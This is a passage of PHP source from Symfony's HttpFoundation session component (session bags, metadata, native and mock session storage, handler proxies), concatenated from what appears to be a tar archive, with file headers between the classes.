} public function getMetadataBag(): MetadataBag { ++$this->usageIndex; if ($this->usageReporter && 0 <= $this->usageIndex) { ($this->usageReporter)(); } return $this->storage->getMetadataBag(); } /** * @return void */ public function registerBag(SessionBagInterface $bag) { $this->storage->registerBag(new SessionBagProxy($bag, $this->data, $this->usageIndex, $this->usageReporter)); } public function getBag(string $name): SessionBagInterface { $bag = $this->storage->getBag($name); return method_exists($bag, 'getBag') ? $bag->getBag() : $bag; } /** * Gets the flashbag interface. */ public function getFlashBag(): FlashBagInterface { return $this->getBag($this->flashName); } /** * Gets the attributebag interface. * * Note that this method was added to help with IDE autocompletion. */ private function getAttributeBag(): AttributeBagInterface { return $this->getBag($this->attributeName); } } http-foundation/Session/SessionBagProxy.php000064400000003753151113511470015131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; /** * @author Nicolas Grekas * * @internal */ final class SessionBagProxy implements SessionBagInterface { private SessionBagInterface $bag; private array $data; private ?int $usageIndex; private ?\Closure $usageReporter; public function __construct(SessionBagInterface $bag, array &$data, ?int &$usageIndex, ?callable $usageReporter) { $this->bag = $bag; $this->data = &$data; $this->usageIndex = &$usageIndex; $this->usageReporter = null === $usageReporter ? null : $usageReporter(...); } public function getBag(): SessionBagInterface { ++$this->usageIndex; if ($this->usageReporter && 0 <= $this->usageIndex) { ($this->usageReporter)(); } return $this->bag; } public function isEmpty(): bool { if (!isset($this->data[$this->bag->getStorageKey()])) { return true; } ++$this->usageIndex; if ($this->usageReporter && 0 <= $this->usageIndex) { ($this->usageReporter)(); } return empty($this->data[$this->bag->getStorageKey()]); } public function getName(): string { return $this->bag->getName(); } public function initialize(array &$array): void { ++$this->usageIndex; if ($this->usageReporter && 0 <= $this->usageIndex) { ($this->usageReporter)(); } $this->data[$this->bag->getStorageKey()] = &$array; $this->bag->initialize($array); } public function getStorageKey(): string { return $this->bag->getStorageKey(); } public function clear(): mixed { return $this->bag->clear(); } } http-foundation/Session/SessionUtils.php000064400000003164151113511470014472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; /** * Session utility functions. * * @author Nicolas Grekas * @author Rémon van de Kamp * * @internal */ final class SessionUtils { /** * Finds the session header amongst the headers that are to be sent, removes it, and returns * it so the caller can process it further. */ public static function popSessionCookie(string $sessionName, #[\SensitiveParameter] string $sessionId): ?string { $sessionCookie = null; $sessionCookiePrefix = sprintf(' %s=', urlencode($sessionName)); $sessionCookieWithId = sprintf('%s%s;', $sessionCookiePrefix, urlencode($sessionId)); $otherCookies = []; foreach (headers_list() as $h) { if (0 !== stripos($h, 'Set-Cookie:')) { continue; } if (11 === strpos($h, $sessionCookiePrefix, 11)) { $sessionCookie = $h; if (11 !== strpos($h, $sessionCookieWithId, 11)) { $otherCookies[] = $h; } } else { $otherCookies[] = $h; } } if (null === $sessionCookie) { return null; } header_remove('Set-Cookie'); foreach ($otherCookies as $h) { header($h, false); } return $sessionCookie; } } http-foundation/Session/SessionFactoryInterface.php000064400000000664151113511470016624 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; /** * @author Kevin Bond */ interface SessionFactoryInterface { public function createSession(): SessionInterface; } http-foundation/Session/Attribute/AttributeBagInterface.php000064400000002301151113511470020157 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Attribute; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; /** * Attributes store. * * @author Drak */ interface AttributeBagInterface extends SessionBagInterface { /** * Checks if an attribute is defined. */ public function has(string $name): bool; /** * Returns an attribute. */ public function get(string $name, mixed $default = null): mixed; /** * Sets an attribute. * * @return void */ public function set(string $name, mixed $value); /** * Returns attributes. * * @return array */ public function all(): array; /** * @return void */ public function replace(array $attributes); /** * Removes an attribute. * * @return mixed The removed value or null when it does not exist */ public function remove(string $name): mixed; } http-foundation/Session/Attribute/AttributeBag.php000064400000005353151113511470016350 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Attribute; /** * This class relates to session attribute storage. * * @implements \IteratorAggregate */ class AttributeBag implements AttributeBagInterface, \IteratorAggregate, \Countable { private string $name = 'attributes'; private string $storageKey; protected $attributes = []; /** * @param string $storageKey The key used to store attributes in the session */ public function __construct(string $storageKey = '_sf2_attributes') { $this->storageKey = $storageKey; } public function getName(): string { return $this->name; } /** * @return void */ public function setName(string $name) { $this->name = $name; } /** * @return void */ public function initialize(array &$attributes) { $this->attributes = &$attributes; } public function getStorageKey(): string { return $this->storageKey; } public function has(string $name): bool { return \array_key_exists($name, $this->attributes); } public function get(string $name, mixed $default = null): mixed { return \array_key_exists($name, $this->attributes) ? $this->attributes[$name] : $default; } /** * @return void */ public function set(string $name, mixed $value) { $this->attributes[$name] = $value; } public function all(): array { return $this->attributes; } /** * @return void */ public function replace(array $attributes) { $this->attributes = []; foreach ($attributes as $key => $value) { $this->set($key, $value); } } public function remove(string $name): mixed { $retval = null; if (\array_key_exists($name, $this->attributes)) { $retval = $this->attributes[$name]; unset($this->attributes[$name]); } return $retval; } public function clear(): mixed { $return = $this->attributes; $this->attributes = []; return $return; } /** * Returns an iterator for attributes. * * @return \ArrayIterator */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->attributes); } /** * Returns the number of attributes. */ public function count(): int { return \count($this->attributes); } } http-foundation/Session/SessionInterface.php000064400000007350151113511470015273 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session; use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag; /** * Interface for the session. * * @author Drak */ interface SessionInterface { /** * Starts the session storage. * * @throws \RuntimeException if session fails to start */ public function start(): bool; /** * Returns the session ID. */ public function getId(): string; /** * Sets the session ID. * * @return void */ public function setId(string $id); /** * Returns the session name. */ public function getName(): string; /** * Sets the session name. * * @return void */ public function setName(string $name); /** * Invalidates the current session. * * Clears all session attributes and flashes and regenerates the * session and deletes the old session from persistence. * * @param int|null $lifetime Sets the cookie lifetime for the session cookie. A null value * will leave the system settings unchanged, 0 sets the cookie * to expire with browser session. Time is in seconds, and is * not a Unix timestamp. */ public function invalidate(int $lifetime = null): bool; /** * Migrates the current session to a new session id while maintaining all * session attributes. * * @param bool $destroy Whether to delete the old session or leave it to garbage collection * @param int|null $lifetime Sets the cookie lifetime for the session cookie. A null value * will leave the system settings unchanged, 0 sets the cookie * to expire with browser session. Time is in seconds, and is * not a Unix timestamp. */ public function migrate(bool $destroy = false, int $lifetime = null): bool; /** * Force the session to be saved and closed. * * This method is generally not required for real sessions as * the session will be automatically saved at the end of * code execution. * * @return void */ public function save(); /** * Checks if an attribute is defined. */ public function has(string $name): bool; /** * Returns an attribute. */ public function get(string $name, mixed $default = null): mixed; /** * Sets an attribute. * * @return void */ public function set(string $name, mixed $value); /** * Returns attributes. */ public function all(): array; /** * Sets attributes. * * @return void */ public function replace(array $attributes); /** * Removes an attribute. * * @return mixed The removed value or null when it does not exist */ public function remove(string $name): mixed; /** * Clears all attributes. * * @return void */ public function clear(); /** * Checks if the session was started. */ public function isStarted(): bool; /** * Registers a SessionBagInterface with the session. * * @return void */ public function registerBag(SessionBagInterface $bag); /** * Gets a bag instance by name. */ public function getBag(string $name): SessionBagInterface; /** * Gets session meta. */ public function getMetadataBag(): MetadataBag; } http-foundation/Session/Storage/MockFileSessionStorageFactory.php000064400000002200151113511470021332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Request; // Help opcache.preload discover always-needed symbols class_exists(MockFileSessionStorage::class); /** * @author Jérémy Derussé */ class MockFileSessionStorageFactory implements SessionStorageFactoryInterface { private ?string $savePath; private string $name; private ?MetadataBag $metaBag; /** * @see MockFileSessionStorage constructor. */ public function __construct(string $savePath = null, string $name = 'MOCKSESSID', MetadataBag $metaBag = null) { $this->savePath = $savePath; $this->name = $name; $this->metaBag = $metaBag; } public function createStorage(?Request $request): SessionStorageInterface { return new MockFileSessionStorage($this->savePath, $this->name, $this->metaBag); } } http-foundation/Session/Storage/MetadataBag.php000064400000006732151113511470015570 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; /** * Metadata container. * * Adds metadata to the session. * * @author Drak */ class MetadataBag implements SessionBagInterface { public const CREATED = 'c'; public const UPDATED = 'u'; public const LIFETIME = 'l'; private string $name = '__metadata'; private string $storageKey; /** * @var array */ protected $meta = [self::CREATED => 0, self::UPDATED => 0, self::LIFETIME => 0]; /** * Unix timestamp. */ private int $lastUsed; private int $updateThreshold; /** * @param string $storageKey The key used to store bag in the session * @param int $updateThreshold The time to wait between two UPDATED updates */ public function __construct(string $storageKey = '_sf2_meta', int $updateThreshold = 0) { $this->storageKey = $storageKey; $this->updateThreshold = $updateThreshold; } /** * @return void */ public function initialize(array &$array) { $this->meta = &$array; if (isset($array[self::CREATED])) { $this->lastUsed = $this->meta[self::UPDATED]; $timeStamp = time(); if ($timeStamp - $array[self::UPDATED] >= $this->updateThreshold) { $this->meta[self::UPDATED] = $timeStamp; } } else { $this->stampCreated(); } } /** * Gets the lifetime that the session cookie was set with. */ public function getLifetime(): int { return $this->meta[self::LIFETIME]; } /** * Stamps a new session's metadata. * * @param int|null $lifetime Sets the cookie lifetime for the session cookie. A null value * will leave the system settings unchanged, 0 sets the cookie * to expire with browser session. Time is in seconds, and is * not a Unix timestamp. * * @return void */ public function stampNew(int $lifetime = null) { $this->stampCreated($lifetime); } public function getStorageKey(): string { return $this->storageKey; } /** * Gets the created timestamp metadata. * * @return int Unix timestamp */ public function getCreated(): int { return $this->meta[self::CREATED]; } /** * Gets the last used metadata. * * @return int Unix timestamp */ public function getLastUsed(): int { return $this->lastUsed; } public function clear(): mixed { // nothing to do return null; } public function getName(): string { return $this->name; } /** * Sets name. * * @return void */ public function setName(string $name) { $this->name = $name; } private function stampCreated(int $lifetime = null): void { $timeStamp = time(); $this->meta[self::CREATED] = $this->meta[self::UPDATED] = $this->lastUsed = $timeStamp; $this->meta[self::LIFETIME] = $lifetime ?? (int) \ini_get('session.cookie_lifetime'); } } http-foundation/Session/Storage/Proxy/SessionHandlerProxy.php000064400000004452151113511470020537 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Proxy; use Symfony\Component\HttpFoundation\Session\Storage\Handler\StrictSessionHandler; /** * @author Drak */ class SessionHandlerProxy extends AbstractProxy implements \SessionHandlerInterface, \SessionUpdateTimestampHandlerInterface { protected $handler; public function __construct(\SessionHandlerInterface $handler) { $this->handler = $handler; $this->wrapper = $handler instanceof \SessionHandler; $this->saveHandlerName = $this->wrapper || ($handler instanceof StrictSessionHandler && $handler->isWrapper()) ? \ini_get('session.save_handler') : 'user'; } public function getHandler(): \SessionHandlerInterface { return $this->handler; } // \SessionHandlerInterface public function open(string $savePath, string $sessionName): bool { return $this->handler->open($savePath, $sessionName); } public function close(): bool { return $this->handler->close(); } public function read(#[\SensitiveParameter] string $sessionId): string|false { return $this->handler->read($sessionId); } public function write(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->handler->write($sessionId, $data); } public function destroy(#[\SensitiveParameter] string $sessionId): bool { return $this->handler->destroy($sessionId); } public function gc(int $maxlifetime): int|false { return $this->handler->gc($maxlifetime); } public function validateId(#[\SensitiveParameter] string $sessionId): bool { return !$this->handler instanceof \SessionUpdateTimestampHandlerInterface || $this->handler->validateId($sessionId); } public function updateTimestamp(#[\SensitiveParameter] string $sessionId, string $data): bool { return $this->handler instanceof \SessionUpdateTimestampHandlerInterface ? $this->handler->updateTimestamp($sessionId, $data) : $this->write($sessionId, $data); } } http-foundation/Session/Storage/Proxy/AbstractProxy.php000064400000004256151113511470017363 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage\Proxy; /** * @author Drak */ abstract class AbstractProxy { /** * Flag if handler wraps an internal PHP session handler (using \SessionHandler). * * @var bool */ protected $wrapper = false; /** * @var string */ protected $saveHandlerName; /** * Gets the session.save_handler name. */ public function getSaveHandlerName(): ?string { return $this->saveHandlerName; } /** * Is this proxy handler and instance of \SessionHandlerInterface. */ public function isSessionHandlerInterface(): bool { return $this instanceof \SessionHandlerInterface; } /** * Returns true if this handler wraps an internal PHP session save handler using \SessionHandler. */ public function isWrapper(): bool { return $this->wrapper; } /** * Has a session started? */ public function isActive(): bool { return \PHP_SESSION_ACTIVE === session_status(); } /** * Gets the session ID. */ public function getId(): string { return session_id(); } /** * Sets the session ID. * * @return void * * @throws \LogicException */ public function setId(string $id) { if ($this->isActive()) { throw new \LogicException('Cannot change the ID of an active session.'); } session_id($id); } /** * Gets the session name. */ public function getName(): string { return session_name(); } /** * Sets the session name. * * @return void * * @throws \LogicException */ public function setName(string $name) { if ($this->isActive()) { throw new \LogicException('Cannot change the name of an active session.'); } session_name($name); } } http-foundation/Session/Storage/PhpBridgeSessionStorage.php000064400000002607151113511470020170 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy; /** * Allows session to be started by PHP and managed by Symfony. * * @author Drak */ class PhpBridgeSessionStorage extends NativeSessionStorage { public function __construct(AbstractProxy|\SessionHandlerInterface $handler = null, MetadataBag $metaBag = null) { if (!\extension_loaded('session')) { throw new \LogicException('PHP extension "session" is required.'); } $this->setMetadataBag($metaBag); $this->setSaveHandler($handler); } public function start(): bool { if ($this->started) { return true; } $this->loadSession(); return true; } /** * @return void */ public function clear() { // clear out the bags and nothing else that may be set // since the purpose of this driver is to share a handler foreach ($this->bags as $bag) { $bag->clear(); } // reconnect the bags to the session $this->loadSession(); } } http-foundation/Session/Storage/NativeSessionStorage.php000064400000034101151113511470017544 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; use Symfony\Component\HttpFoundation\Session\Storage\Handler\StrictSessionHandler; use Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy; use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy; // Help opcache.preload discover always-needed symbols class_exists(MetadataBag::class); class_exists(StrictSessionHandler::class); class_exists(SessionHandlerProxy::class); /** * This provides a base class for session attribute storage. * * @author Drak */ class NativeSessionStorage implements SessionStorageInterface { /** * @var SessionBagInterface[] */ protected $bags = []; /** * @var bool */ protected $started = false; /** * @var bool */ protected $closed = false; /** * @var AbstractProxy|\SessionHandlerInterface */ protected $saveHandler; /** * @var MetadataBag */ protected $metadataBag; /** * Depending on how you want the storage driver to behave you probably * want to override this constructor entirely. * * List of options for $options array with their defaults. * * @see https://php.net/session.configuration for options * but we omit 'session.' from the beginning of the keys for convenience. * * ("auto_start", is not supported as it tells PHP to start a session before * PHP starts to execute user-land code. Setting during runtime has no effect). * * cache_limiter, "" (use "0" to prevent headers from being sent entirely). * cache_expire, "0" * cookie_domain, "" * cookie_httponly, "" * cookie_lifetime, "0" * cookie_path, "/" * cookie_secure, "" * cookie_samesite, null * gc_divisor, "100" * gc_maxlifetime, "1440" * gc_probability, "1" * lazy_write, "1" * name, "PHPSESSID" * referer_check, "" * serialize_handler, "php" * use_strict_mode, "1" * use_cookies, "1" * use_only_cookies, "1" * use_trans_sid, "0" * sid_length, "32" * sid_bits_per_character, "5" * trans_sid_hosts, $_SERVER['HTTP_HOST'] * trans_sid_tags, "a=href,area=href,frame=src,form=" */ public function __construct(array $options = [], AbstractProxy|\SessionHandlerInterface $handler = null, MetadataBag $metaBag = null) { if (!\extension_loaded('session')) { throw new \LogicException('PHP extension "session" is required.'); } $options += [ 'cache_limiter' => '', 'cache_expire' => 0, 'use_cookies' => 1, 'lazy_write' => 1, 'use_strict_mode' => 1, ]; session_register_shutdown(); $this->setMetadataBag($metaBag); $this->setOptions($options); $this->setSaveHandler($handler); } /** * Gets the save handler instance. */ public function getSaveHandler(): AbstractProxy|\SessionHandlerInterface { return $this->saveHandler; } public function start(): bool { if ($this->started) { return true; } if (\PHP_SESSION_ACTIVE === session_status()) { throw new \RuntimeException('Failed to start the session: already started by PHP.'); } if (filter_var(\ini_get('session.use_cookies'), \FILTER_VALIDATE_BOOL) && headers_sent($file, $line)) { throw new \RuntimeException(sprintf('Failed to start the session because headers have already been sent by "%s" at line %d.', $file, $line)); } $sessionId = $_COOKIE[session_name()] ?? null; /* * Explanation of the session ID regular expression: `/^[a-zA-Z0-9,-]{22,250}$/`. * * ---------- Part 1 * * The part `[a-zA-Z0-9,-]` is related to the PHP ini directive `session.sid_bits_per_character` defined as 6. * See https://www.php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character. * Allowed values are integers such as: * - 4 for range `a-f0-9` * - 5 for range `a-v0-9` * - 6 for range `a-zA-Z0-9,-` * * ---------- Part 2 * * The part `{22,250}` is related to the PHP ini directive `session.sid_length`. * See https://www.php.net/manual/en/session.configuration.php#ini.session.sid-length. * Allowed values are integers between 22 and 256, but we use 250 for the max. * * Where does the 250 come from? * - The length of Windows and Linux filenames is limited to 255 bytes. Then the max must not exceed 255. * - The session filename prefix is `sess_`, a 5 bytes string. Then the max must not exceed 255 - 5 = 250. * * ---------- Conclusion * * The parts 1 and 2 prevent the warning below: * `PHP Warning: SessionHandler::read(): Session ID is too long or contains illegal characters. Only the A-Z, a-z, 0-9, "-", and "," characters are allowed.` * * The part 2 prevents the warning below: * `PHP Warning: SessionHandler::read(): open(filepath, O_RDWR) failed: No such file or directory (2).` */ if ($sessionId && $this->saveHandler instanceof AbstractProxy && 'files' === $this->saveHandler->getSaveHandlerName() && !preg_match('/^[a-zA-Z0-9,-]{22,250}$/', $sessionId)) { // the session ID in the header is invalid, create a new one session_id(session_create_id()); } // ok to try and start the session if (!session_start()) { throw new \RuntimeException('Failed to start the session.'); } $this->loadSession(); return true; } public function getId(): string { return $this->saveHandler->getId(); } /** * @return void */ public function setId(string $id) { $this->saveHandler->setId($id); } public function getName(): string { return $this->saveHandler->getName(); } /** * @return void */ public function setName(string $name) { $this->saveHandler->setName($name); } public function regenerate(bool $destroy = false, int $lifetime = null): bool { // Cannot regenerate the session ID for non-active sessions. if (\PHP_SESSION_ACTIVE !== session_status()) { return false; } if (headers_sent()) { return false; } if (null !== $lifetime && $lifetime != \ini_get('session.cookie_lifetime')) { $this->save(); ini_set('session.cookie_lifetime', $lifetime); $this->start(); } if ($destroy) { $this->metadataBag->stampNew(); } return session_regenerate_id($destroy); } /** * @return void */ public function save() { // Store a copy so we can restore the bags in case the session was not left empty $session = $_SESSION; foreach ($this->bags as $bag) { if (empty($_SESSION[$key = $bag->getStorageKey()])) { unset($_SESSION[$key]); } } if ($_SESSION && [$key = $this->metadataBag->getStorageKey()] === array_keys($_SESSION)) { unset($_SESSION[$key]); } // Register error handler to add information about the current save handler $previousHandler = set_error_handler(function ($type, $msg, $file, $line) use (&$previousHandler) { if (\E_WARNING === $type && str_starts_with($msg, 'session_write_close():')) { $handler = $this->saveHandler instanceof SessionHandlerProxy ? $this->saveHandler->getHandler() : $this->saveHandler; $msg = sprintf('session_write_close(): Failed to write session data with "%s" handler', $handler::class); } return $previousHandler ? $previousHandler($type, $msg, $file, $line) : false; }); try { session_write_close(); } finally { restore_error_handler(); // Restore only if not empty if ($_SESSION) { $_SESSION = $session; } } $this->closed = true; $this->started = false; } /** * @return void */ public function clear() { // clear out the bags foreach ($this->bags as $bag) { $bag->clear(); } // clear out the session $_SESSION = []; // reconnect the bags to the session $this->loadSession(); } /** * @return void */ public function registerBag(SessionBagInterface $bag) { if ($this->started) { throw new \LogicException('Cannot register a bag when the session is already started.'); } $this->bags[$bag->getName()] = $bag; } public function getBag(string $name): SessionBagInterface { if (!isset($this->bags[$name])) { throw new \InvalidArgumentException(sprintf('The SessionBagInterface "%s" is not registered.', $name)); } if (!$this->started && $this->saveHandler->isActive()) { $this->loadSession(); } elseif (!$this->started) { $this->start(); } return $this->bags[$name]; } /** * @return void */ public function setMetadataBag(MetadataBag $metaBag = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->metadataBag = $metaBag ?? new MetadataBag(); } /** * Gets the MetadataBag. */ public function getMetadataBag(): MetadataBag { return $this->metadataBag; } public function isStarted(): bool { return $this->started; } /** * Sets session.* ini variables. * * For convenience we omit 'session.' from the beginning of the keys. * Explicitly ignores other ini keys. * * @param array $options Session ini directives [key => value] * * @see https://php.net/session.configuration * * @return void */ public function setOptions(array $options) { if (headers_sent() || \PHP_SESSION_ACTIVE === session_status()) { return; } $validOptions = array_flip([ 'cache_expire', 'cache_limiter', 'cookie_domain', 'cookie_httponly', 'cookie_lifetime', 'cookie_path', 'cookie_secure', 'cookie_samesite', 'gc_divisor', 'gc_maxlifetime', 'gc_probability', 'lazy_write', 'name', 'referer_check', 'serialize_handler', 'use_strict_mode', 'use_cookies', 'use_only_cookies', 'use_trans_sid', 'sid_length', 'sid_bits_per_character', 'trans_sid_hosts', 'trans_sid_tags', ]); foreach ($options as $key => $value) { if (isset($validOptions[$key])) { if ('cookie_secure' === $key && 'auto' === $value) { continue; } ini_set('session.'.$key, $value); } } } /** * Registers session save handler as a PHP session handler. * * To use internal PHP session save handlers, override this method using ini_set with * session.save_handler and session.save_path e.g. * * ini_set('session.save_handler', 'files'); * ini_set('session.save_path', '/tmp'); * * or pass in a \SessionHandler instance which configures session.save_handler in the * constructor, for a template see NativeFileSessionHandler. * * @see https://php.net/session-set-save-handler * @see https://php.net/sessionhandlerinterface * @see https://php.net/sessionhandler * * @return void * * @throws \InvalidArgumentException */ public function setSaveHandler(AbstractProxy|\SessionHandlerInterface $saveHandler = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } // Wrap $saveHandler in proxy and prevent double wrapping of proxy if (!$saveHandler instanceof AbstractProxy && $saveHandler instanceof \SessionHandlerInterface) { $saveHandler = new SessionHandlerProxy($saveHandler); } elseif (!$saveHandler instanceof AbstractProxy) { $saveHandler = new SessionHandlerProxy(new StrictSessionHandler(new \SessionHandler())); } $this->saveHandler = $saveHandler; if (headers_sent() || \PHP_SESSION_ACTIVE === session_status()) { return; } if ($this->saveHandler instanceof SessionHandlerProxy) { session_set_save_handler($this->saveHandler, false); } } /** * Load the session with attributes. * * After starting the session, PHP retrieves the session from whatever handlers * are set to (either PHP's internal, or a custom save handler set with session_set_save_handler()). * PHP takes the return value from the read() handler, unserializes it * and populates $_SESSION with the result automatically. * * @return void */ protected function loadSession(array &$session = null) { if (null === $session) { $session = &$_SESSION; } $bags = array_merge($this->bags, [$this->metadataBag]); foreach ($bags as $bag) { $key = $bag->getStorageKey(); $session[$key] = isset($session[$key]) && \is_array($session[$key]) ? $session[$key] : []; $bag->initialize($session[$key]); } $this->started = true; $this->closed = false; } } http-foundation/Session/Storage/NativeSessionStorageFactory.php000064400000002760151113511500021074 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy; // Help opcache.preload discover always-needed symbols class_exists(NativeSessionStorage::class); /** * @author Jérémy Derussé */ class NativeSessionStorageFactory implements SessionStorageFactoryInterface { private array $options; private AbstractProxy|\SessionHandlerInterface|null $handler; private ?MetadataBag $metaBag; private bool $secure; /** * @see NativeSessionStorage constructor. */ public function __construct(array $options = [], AbstractProxy|\SessionHandlerInterface $handler = null, MetadataBag $metaBag = null, bool $secure = false) { $this->options = $options; $this->handler = $handler; $this->metaBag = $metaBag; $this->secure = $secure; } public function createStorage(?Request $request): SessionStorageInterface { $storage = new NativeSessionStorage($this->options, $this->handler, $this->metaBag); if ($this->secure && $request?->isSecure()) { $storage->setOptions(['cookie_secure' => true]); } return $storage; } } http-foundation/Session/Storage/SessionStorageInterface.php000064400000007425151113511500020221 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; /** * StorageInterface. * * @author Fabien Potencier * @author Drak */ interface SessionStorageInterface { /** * Starts the session. * * @throws \RuntimeException if something goes wrong starting the session */ public function start(): bool; /** * Checks if the session is started. */ public function isStarted(): bool; /** * Returns the session ID. */ public function getId(): string; /** * Sets the session ID. * * @return void */ public function setId(string $id); /** * Returns the session name. */ public function getName(): string; /** * Sets the session name. * * @return void */ public function setName(string $name); /** * Regenerates id that represents this storage. * * This method must invoke session_regenerate_id($destroy) unless * this interface is used for a storage object designed for unit * or functional testing where a real PHP session would interfere * with testing. * * Note regenerate+destroy should not clear the session data in memory * only delete the session data from persistent storage. * * Care: When regenerating the session ID no locking is involved in PHP's * session design. See https://bugs.php.net/61470 for a discussion. * So you must make sure the regenerated session is saved BEFORE sending the * headers with the new ID. Symfony's HttpKernel offers a listener for this. * See Symfony\Component\HttpKernel\EventListener\SaveSessionListener. * Otherwise session data could get lost again for concurrent requests with the * new ID. One result could be that you get logged out after just logging in. * * @param bool $destroy Destroy session when regenerating? * @param int|null $lifetime Sets the cookie lifetime for the session cookie. A null value * will leave the system settings unchanged, 0 sets the cookie * to expire with browser session. Time is in seconds, and is * not a Unix timestamp. * * @throws \RuntimeException If an error occurs while regenerating this storage */ public function regenerate(bool $destroy = false, int $lifetime = null): bool; /** * Force the session to be saved and closed. * * This method must invoke session_write_close() unless this interface is * used for a storage object design for unit or functional testing where * a real PHP session would interfere with testing, in which case * it should actually persist the session data if required. * * @return void * * @throws \RuntimeException if the session is saved without being started, or if the session * is already closed */ public function save(); /** * Clear all session data in memory. * * @return void */ public function clear(); /** * Gets a SessionBagInterface by name. * * @throws \InvalidArgumentException If the bag does not exist */ public function getBag(string $name): SessionBagInterface; /** * Registers a SessionBagInterface for use. * * @return void */ public function registerBag(SessionBagInterface $bag); public function getMetadataBag(): MetadataBag; } http-foundation/Session/Storage/MockFileSessionStorage.php000064400000007556151113511500020017 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; /** * MockFileSessionStorage is used to mock sessions for * functional testing where you may need to persist session data * across separate PHP processes. * * No PHP session is actually started since a session can be initialized * and shutdown only once per PHP execution cycle and this class does * not pollute any session related globals, including session_*() functions * or session.* PHP ini directives. * * @author Drak */ class MockFileSessionStorage extends MockArraySessionStorage { private string $savePath; /** * @param string|null $savePath Path of directory to save session files */ public function __construct(string $savePath = null, string $name = 'MOCKSESSID', MetadataBag $metaBag = null) { $savePath ??= sys_get_temp_dir(); if (!is_dir($savePath) && !@mkdir($savePath, 0777, true) && !is_dir($savePath)) { throw new \RuntimeException(sprintf('Session Storage was not able to create directory "%s".', $savePath)); } $this->savePath = $savePath; parent::__construct($name, $metaBag); } public function start(): bool { if ($this->started) { return true; } if (!$this->id) { $this->id = $this->generateId(); } $this->read(); $this->started = true; return true; } public function regenerate(bool $destroy = false, int $lifetime = null): bool { if (!$this->started) { $this->start(); } if ($destroy) { $this->destroy(); } return parent::regenerate($destroy, $lifetime); } /** * @return void */ public function save() { if (!$this->started) { throw new \RuntimeException('Trying to save a session that was not started yet or was already closed.'); } $data = $this->data; foreach ($this->bags as $bag) { if (empty($data[$key = $bag->getStorageKey()])) { unset($data[$key]); } } if ([$key = $this->metadataBag->getStorageKey()] === array_keys($data)) { unset($data[$key]); } try { if ($data) { $path = $this->getFilePath(); $tmp = $path.bin2hex(random_bytes(6)); file_put_contents($tmp, serialize($data)); rename($tmp, $path); } else { $this->destroy(); } } finally { $this->data = $data; } // this is needed when the session object is re-used across multiple requests // in functional tests. $this->started = false; } /** * Deletes a session from persistent storage. * Deliberately leaves session data in memory intact. */ private function destroy(): void { set_error_handler(static function () {}); try { unlink($this->getFilePath()); } finally { restore_error_handler(); } } /** * Calculate path to file. */ private function getFilePath(): string { return $this->savePath.'/'.$this->id.'.mocksess'; } /** * Reads session from storage and loads session. */ private function read(): void { set_error_handler(static function () {}); try { $data = file_get_contents($this->getFilePath()); } finally { restore_error_handler(); } $this->data = $data ? unserialize($data) : []; $this->loadSession(); } } http-foundation/Session/Storage/MockArraySessionStorage.php000064400000012005151113511500020177 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Session\Storage; use Symfony\Component\HttpFoundation\Session\SessionBagInterface; /** * MockArraySessionStorage mocks the session for unit tests. * * No PHP session is actually started since a session can be initialized * and shutdown only once per PHP execution cycle. * * When doing functional testing, you should use MockFileSessionStorage instead. * * @author Fabien Potencier * @author Bulat Shakirzyanov * @author Drak */ class MockArraySessionStorage implements SessionStorageInterface { /** * @var string */ protected $id = ''; /** * @var string */ protected $name; /** * @var bool */ protected $started = false; /** * @var bool */ protected $closed = false; /** * @var array */ protected $data = []; /** * @var MetadataBag */ protected $metadataBag; /** * @var array|SessionBagInterface[] */ protected $bags = []; public function __construct(string $name = 